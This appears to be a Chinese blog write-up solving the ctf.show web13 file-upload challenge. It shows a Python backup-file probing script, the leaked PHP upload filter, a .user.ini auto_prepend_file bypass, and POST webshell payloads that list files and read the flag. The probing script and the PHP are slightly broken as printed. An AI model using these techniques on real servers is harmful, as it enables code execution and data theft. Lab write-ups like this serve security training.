ctf.show_web13

ctf.show_web13_第1张图片

让上传文件,先试试传个php文件

 ctf.show_web13_第2张图片

说是大小错误,看来没有黑名单白名单,没有思路,扫个目录试试

 ctf.show_web13_第3张图片

有/upload.php文件,能访问但是报错,怀疑是备份文件,用自己写的脚本跑一下

ctf.show_web13_第4张图片

import requests as rt

webname = {'web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp', 'db', 'data', 'code', 'test', 'admin', 'user', 'sql'}
weblist = {'.rar', '.zip', '.7z', '.tar.gz', '.bak', '.txt', '.old', '.temp', '_index.html', '.swp', '.sql', '.tgz', '.tar'}

for i in webname:
    for k in weblist:
        url = f'http://2da5edf9-57f6-4fb4-aee6-923e85e7d0f1.challenge.ctf.show/upload.php{k}'
        re = rt.get(url)
        print(i, k)
        if re.status_code == 200:
            print(re.status_code)
            break

ctf.show_web13_第5张图片

是.bat文件访问下载 

    header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    if ($size > 24){
        die("error file zise");
    }
    if (strlen($filename)>9){
        die("error file name");
    }
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }

 ?>
 

文件大小少于24字节,名字少于九个字节,后缀小于三个字节,并且后缀不能是.php 

刚开始传php文件没有报错看来是还没有出发到后缀验证那一步就掉了

现在开始自己写php文件

  1.  

但是名字里不能有php,写好后保存为1.jpg

所以需要用另外的方式 (在传入一个.user.ini文件)

  1. auto_prepend_file=1.jpg    意思是所有1.jpg文件都以php文件方式打开

用蚁剑连了一下返回数据为空

试试post传参

payload:1=print_r(glob('*'))

看到文件后访问文件

payload:1=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")获取flag

你可能感兴趣的:(ctf.show,web题,web安全)